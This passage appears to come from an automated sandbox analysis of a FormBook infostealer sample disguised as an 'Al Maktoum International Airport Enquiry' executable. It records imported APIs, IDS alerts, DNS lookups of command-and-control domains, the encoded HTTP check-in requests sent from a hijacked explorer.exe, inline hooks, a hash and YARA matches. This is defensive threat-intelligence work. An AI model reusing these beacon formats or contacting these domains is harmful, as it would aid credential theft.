ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-27T10:51:57.291670+0200	TCP	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	49737	80	192.168.2.4	104.18.24.121
2024-08-27T10:51:57.291670+0200	TCP	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	49737	80	192.168.2.4	104.18.24.121
2024-08-27T10:51:57.291670+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	49737	80	192.168.2.4	104.18.24.121
2024-08-27T10:53:20.668970+0200	TCP	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	49738	80	192.168.2.4	103.235.46.96
2024-08-27T10:53:20.668970+0200	TCP	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	49738	80	192.168.2.4	103.235.46.96
2024-08-27T10:53:20.668970+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	49738	80	192.168.2.4	103.235.46.96
2024-08-27T10:50:53.816844+0200	TCP	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	49739	80	192.168.2.4	76.223.105.230
2024-08-27T10:50:53.816844+0200	TCP	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	49739	80	192.168.2.4	76.223.105.230
2024-08-27T10:50:53.816844+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	49739	80	192.168.2.4	76.223.105.230
2024-08-27T10:54:21.642054+0200	TCP	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	49741	80	192.168.2.4	104.18.23.89
2024-08-27T10:54:21.642054+0200	TCP	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	49741	80	192.168.2.4	104.18.23.89
2024-08-27T10:54:21.642054+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	49741	80	192.168.2.4	104.18.23.89
2024-08-27T10:54:01.377326+0200	TCP	2031412	ET MALWARE FormBook CnC Checkin (GET)	1	49740	80	192.168.2.4	103.224.212.214
2024-08-27T10:54:01.377326+0200	TCP	2031449	ET MALWARE FormBook CnC Checkin (GET)	1	49740	80	192.168.2.4	103.224.212.214
2024-08-27T10:54:01.377326+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	1	49740	80	192.168.2.4	103.224.212.214

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 10:51:56.787992954 CEST	49737	80	192.168.2.4	104.18.24.121
Aug 27, 2024 10:51:56.792905092 CEST	80	49737	104.18.24.121	192.168.2.4
Aug 27, 2024 10:51:56.792974949 CEST	49737	80	192.168.2.4	104.18.24.121
Aug 27, 2024 10:51:56.793009996 CEST	49737	80	192.168.2.4	104.18.24.121
Aug 27, 2024 10:51:56.797885895 CEST	80	49737	104.18.24.121	192.168.2.4
Aug 27, 2024 10:51:57.285860062 CEST	49737	80	192.168.2.4	104.18.24.121
Aug 27, 2024 10:51:57.291254997 CEST	80	49737	104.18.24.121	192.168.2.4
Aug 27, 2024 10:51:57.291670084 CEST	49737	80	192.168.2.4	104.18.24.121
Aug 27, 2024 10:53:20.093580008 CEST	49738	80	192.168.2.4	103.235.46.96
Aug 27, 2024 10:53:20.098499060 CEST	80	49738	103.235.46.96	192.168.2.4
Aug 27, 2024 10:53:20.098558903 CEST	49738	80	192.168.2.4	103.235.46.96
Aug 27, 2024 10:53:20.098675966 CEST	49738	80	192.168.2.4	103.235.46.96
Aug 27, 2024 10:53:20.103538036 CEST	80	49738	103.235.46.96	192.168.2.4
Aug 27, 2024 10:53:20.598337889 CEST	49738	80	192.168.2.4	103.235.46.96
Aug 27, 2024 10:53:20.645245075 CEST	80	49738	103.235.46.96	192.168.2.4
Aug 27, 2024 10:53:20.663753986 CEST	80	49738	103.235.46.96	192.168.2.4
Aug 27, 2024 10:53:20.668970108 CEST	49738	80	192.168.2.4	103.235.46.96
Aug 27, 2024 10:53:39.702976942 CEST	49739	80	192.168.2.4	76.223.105.230
Aug 27, 2024 10:53:39.707993031 CEST	80	49739	76.223.105.230	192.168.2.4
Aug 27, 2024 10:53:39.708056927 CEST	49739	80	192.168.2.4	76.223.105.230
Aug 27, 2024 10:53:39.708156109 CEST	49739	80	192.168.2.4	76.223.105.230
Aug 27, 2024 10:53:39.712901115 CEST	80	49739	76.223.105.230	192.168.2.4
Aug 27, 2024 10:53:40.200354099 CEST	80	49739	76.223.105.230	192.168.2.4
Aug 27, 2024 10:53:40.200377941 CEST	80	49739	76.223.105.230	192.168.2.4
Aug 27, 2024 10:53:40.200530052 CEST	49739	80	192.168.2.4	76.223.105.230
Aug 27, 2024 10:53:40.200530052 CEST	49739	80	192.168.2.4	76.223.105.230
Aug 27, 2024 10:53:40.205528021 CEST	80	49739	76.223.105.230	192.168.2.4
Aug 27, 2024 10:54:00.857664108 CEST	49740	80	192.168.2.4	103.224.212.214
Aug 27, 2024 10:54:00.862688065 CEST	80	49740	103.224.212.214	192.168.2.4
Aug 27, 2024 10:54:00.865820885 CEST	49740	80	192.168.2.4	103.224.212.214
Aug 27, 2024 10:54:00.865820885 CEST	49740	80	192.168.2.4	103.224.212.214
Aug 27, 2024 10:54:00.870647907 CEST	80	49740	103.224.212.214	192.168.2.4
Aug 27, 2024 10:54:01.369164944 CEST	49740	80	192.168.2.4	103.224.212.214
Aug 27, 2024 10:54:01.377259016 CEST	80	49740	103.224.212.214	192.168.2.4
Aug 27, 2024 10:54:01.377326012 CEST	49740	80	192.168.2.4	103.224.212.214
Aug 27, 2024 10:54:21.149645090 CEST	49741	80	192.168.2.4	104.18.23.89
Aug 27, 2024 10:54:21.154572010 CEST	80	49741	104.18.23.89	192.168.2.4
Aug 27, 2024 10:54:21.155150890 CEST	49741	80	192.168.2.4	104.18.23.89
Aug 27, 2024 10:54:21.155150890 CEST	49741	80	192.168.2.4	104.18.23.89
Aug 27, 2024 10:54:21.160027981 CEST	80	49741	104.18.23.89	192.168.2.4
Aug 27, 2024 10:54:21.640928030 CEST	80	49741	104.18.23.89	192.168.2.4
Aug 27, 2024 10:54:21.641071081 CEST	49741	80	192.168.2.4	104.18.23.89
Aug 27, 2024 10:54:21.642009974 CEST	80	49741	104.18.23.89	192.168.2.4
Aug 27, 2024 10:54:21.642054081 CEST	49741	80	192.168.2.4	104.18.23.89
Aug 27, 2024 10:54:21.645853996 CEST	80	49741	104.18.23.89	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 10:51:36.521224022 CEST	50707	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:51:36.535761118 CEST	53	50707	1.1.1.1	192.168.2.4
Aug 27, 2024 10:51:56.286258936 CEST	60957	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:51:56.787256002 CEST	53	60957	1.1.1.1	192.168.2.4
Aug 27, 2024 10:52:16.130374908 CEST	57005	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:52:16.175584078 CEST	53	57005	1.1.1.1	192.168.2.4
Aug 27, 2024 10:52:57.505567074 CEST	60278	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:52:58.423975945 CEST	53	60278	1.1.1.1	192.168.2.4
Aug 27, 2024 10:53:18.743730068 CEST	51430	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:53:19.739533901 CEST	51430	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:53:20.092719078 CEST	53	51430	1.1.1.1	192.168.2.4
Aug 27, 2024 10:53:20.092770100 CEST	53	51430	1.1.1.1	192.168.2.4
Aug 27, 2024 10:53:39.576560020 CEST	49709	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:53:39.616714954 CEST	53	49709	1.1.1.1	192.168.2.4
Aug 27, 2024 10:54:00.539650917 CEST	50752	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:54:00.849344015 CEST	53	50752	1.1.1.1	192.168.2.4
Aug 27, 2024 10:54:21.081135035 CEST	58537	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:54:21.148845911 CEST	53	58537	1.1.1.1	192.168.2.4
Aug 27, 2024 10:54:41.646626949 CEST	62939	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:54:42.681559086 CEST	62939	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:54:43.676889896 CEST	62939	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:54:45.717423916 CEST	62939	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:54:47.667015076 CEST	53	62939	1.1.1.1	192.168.2.4
Aug 27, 2024 10:54:47.667025089 CEST	53	62939	1.1.1.1	192.168.2.4
Aug 27, 2024 10:54:47.667038918 CEST	53	62939	1.1.1.1	192.168.2.4
Aug 27, 2024 10:54:47.667048931 CEST	53	62939	1.1.1.1	192.168.2.4
Aug 27, 2024 10:55:02.475862026 CEST	52006	53	192.168.2.4	1.1.1.1
Aug 27, 2024 10:55:02.490444899 CEST	53	52006	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 27, 2024 10:51:36.521224022 CEST	192.168.2.4	1.1.1.1	0xb591	Standard query (0)	www.strategiclogisticsagency.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:51:56.286258936 CEST	192.168.2.4	1.1.1.1	0x109e	Standard query (0)	www.arlatwestern.shop	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:52:16.130374908 CEST	192.168.2.4	1.1.1.1	0xc10	Standard query (0)	www.betbox2341.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:52:57.505567074 CEST	192.168.2.4	1.1.1.1	0xabe4	Standard query (0)	www.af28.top	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:18.743730068 CEST	192.168.2.4	1.1.1.1	0x6b5f	Standard query (0)	www.wvufcw948o.top	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:19.739533901 CEST	192.168.2.4	1.1.1.1	0x6b5f	Standard query (0)	www.wvufcw948o.top	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:39.576560020 CEST	192.168.2.4	1.1.1.1	0xfd8f	Standard query (0)	www.wheresthechocolateat.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:00.539650917 CEST	192.168.2.4	1.1.1.1	0x1e34	Standard query (0)	www.serverdayz.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:21.081135035 CEST	192.168.2.4	1.1.1.1	0xd47	Standard query (0)	www.theselflovesite.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:41.646626949 CEST	192.168.2.4	1.1.1.1	0x27c7	Standard query (0)	www.iiixc759q.xyz	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:42.681559086 CEST	192.168.2.4	1.1.1.1	0x27c7	Standard query (0)	www.iiixc759q.xyz	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:43.676889896 CEST	192.168.2.4	1.1.1.1	0x27c7	Standard query (0)	www.iiixc759q.xyz	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:45.717423916 CEST	192.168.2.4	1.1.1.1	0x27c7	Standard query (0)	www.iiixc759q.xyz	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:55:02.475862026 CEST	192.168.2.4	1.1.1.1	0xf539	Standard query (0)	www.sliveringaf.christmas	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 27, 2024 10:51:36.535761118 CEST	1.1.1.1	192.168.2.4	0xb591	Name error (3)	www.strategiclogisticsagency.com	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:51:56.787256002 CEST	1.1.1.1	192.168.2.4	0x109e	No error (0)	www.arlatwestern.shop		104.18.24.121	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:52:16.175584078 CEST	1.1.1.1	192.168.2.4	0xc10	Server failure (2)	www.betbox2341.com	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092719078 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.wvufcw948o.top	www.baidu.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092719078 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092719078 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092719078 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092719078 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092770100 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.wvufcw948o.top	www.baidu.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092770100 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092770100 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092770100 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:20.092770100 CEST	1.1.1.1	192.168.2.4	0x6b5f	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:39.616714954 CEST	1.1.1.1	192.168.2.4	0xfd8f	No error (0)	www.wheresthechocolateat.com	wheresthechocolateat.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 10:53:39.616714954 CEST	1.1.1.1	192.168.2.4	0xfd8f	No error (0)	wheresthechocolateat.com		76.223.105.230	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:53:39.616714954 CEST	1.1.1.1	192.168.2.4	0xfd8f	No error (0)	wheresthechocolateat.com		13.248.243.5	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:00.849344015 CEST	1.1.1.1	192.168.2.4	0x1e34	No error (0)	www.serverdayz.com		103.224.212.214	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:21.148845911 CEST	1.1.1.1	192.168.2.4	0xd47	No error (0)	www.theselflovesite.com	sites.ludicrous.cloud		CNAME (Canonical name)	IN (0x0001)	false
Aug 27, 2024 10:54:21.148845911 CEST	1.1.1.1	192.168.2.4	0xd47	No error (0)	sites.ludicrous.cloud		104.18.23.89	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:21.148845911 CEST	1.1.1.1	192.168.2.4	0xd47	No error (0)	sites.ludicrous.cloud		104.18.22.89	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:47.667015076 CEST	1.1.1.1	192.168.2.4	0x27c7	Server failure (2)	www.iiixc759q.xyz	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:47.667025089 CEST	1.1.1.1	192.168.2.4	0x27c7	Server failure (2)	www.iiixc759q.xyz	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:47.667038918 CEST	1.1.1.1	192.168.2.4	0x27c7	Server failure (2)	www.iiixc759q.xyz	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:54:47.667048931 CEST	1.1.1.1	192.168.2.4	0x27c7	Server failure (2)	www.iiixc759q.xyz	none	none	A (IP address)	IN (0x0001)	false
Aug 27, 2024 10:55:02.490444899 CEST	1.1.1.1	192.168.2.4	0xf539	Name error (3)	www.sliveringaf.christmas	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.arlatwestern.shop

www.wvufcw948o.top

www.wheresthechocolateat.com

www.serverdayz.com

www.theselflovesite.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	104.18.24.121	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 10:51:56.793009996 CEST	162	OUT	GET /pt46/?ara=0RpqK4N+sKWumQPIkFOTbgKQJXSBpFKqwGjlCYY5Ihaqw+DawbshP/fsCF3RmMSwrLNm&D8V=_FNDAz HTTP/1.1 Host: www.arlatwestern.shop Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	103.235.46.96	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 10:53:20.098675966 CEST	159	OUT	GET /pt46/?ara=runx2q514acjuuceA0OTyKdTIzcy0YcAOvUMICEfyLgC3vUfTcW2aWKxfLyo5+IB4FDn&D8V=_FNDAz HTTP/1.1 Host: www.wvufcw948o.top Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	76.223.105.230	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 10:53:39.708156109 CEST	169	OUT	GET /pt46/?ara=QVbB1/DxL/c6NkCuk8rWfFSxGk6qL/qIHQ35N54fxEy/BWtxzW12LUdW++4CHG2+1qqv&D8V=_FNDAz HTTP/1.1 Host: www.wheresthechocolateat.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 27, 2024 10:53:40.200354099 CEST	418	IN	HTTP/1.1 301 Moved Permanently location: https://wheresthechocolateat.com/pt46/?ara=QVbB1/DxL/c6NkCuk8rWfFSxGk6qL/qIHQ35N54fxEy/BWtxzW12LUdW++4CHG2+1qqv&D8V=_FNDAz vary: Accept-Encoding server: DPS/2.0.0+sha-1e48316 x-version: 1e48316 x-siteid: us-east-1 set-cookie: dps_site_id=us-east-1; path=/ date: Tue, 27 Aug 2024 08:53:40 GMT keep-alive: timeout=5 transfer-encoding: chunked connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	103.224.212.214	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 10:54:00.865820885 CEST	159	OUT	GET /pt46/?ara=ssXGlCK/Wr83GZj+/MTEyAbCjYKb/LDYuNd6sJpjn9vteR/o4Disu/XP81BMj74Ur0OQ&D8V=_FNDAz HTTP/1.1 Host: www.serverdayz.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	104.18.23.89	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 10:54:21.155150890 CEST	164	OUT	GET /pt46/?ara=RFlzK8LCC7FuO7cJ0ecz1aHzXPpVQPZoCqNi80z/o3n5SIq8wUQ5l6Qg5p0kwtIsH7m9&D8V=_FNDAz HTTP/1.1 Host: www.theselflovesite.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 27, 2024 10:54:21.640928030 CEST	555	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 08:54:21 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 09:54:21 GMT Location: https://www.theselflovesite.com/pt46/?ara=RFlzK8LCC7FuO7cJ0ecz1aHzXPpVQPZoCqNi80z/o3n5SIq8wUQ5l6Qg5p0kwtIsH7m9&D8V=_FNDAz Server: cloudflare CF-RAY: 8b9ad620da4142d4-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xEB
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xEB
GetMessageW	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xEB
GetMessageA	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xEB

Target ID:	0
Start time:	04:50:58
Start date:	27/08/2024
Path:	C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe"
Imagebase:	0xc80000
File size:	1'120'768 bytes
MD5 hash:	621C253A4D715E3AF16FE8BE2FDD8CB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:51:00
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe"
Imagebase:	0xa0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 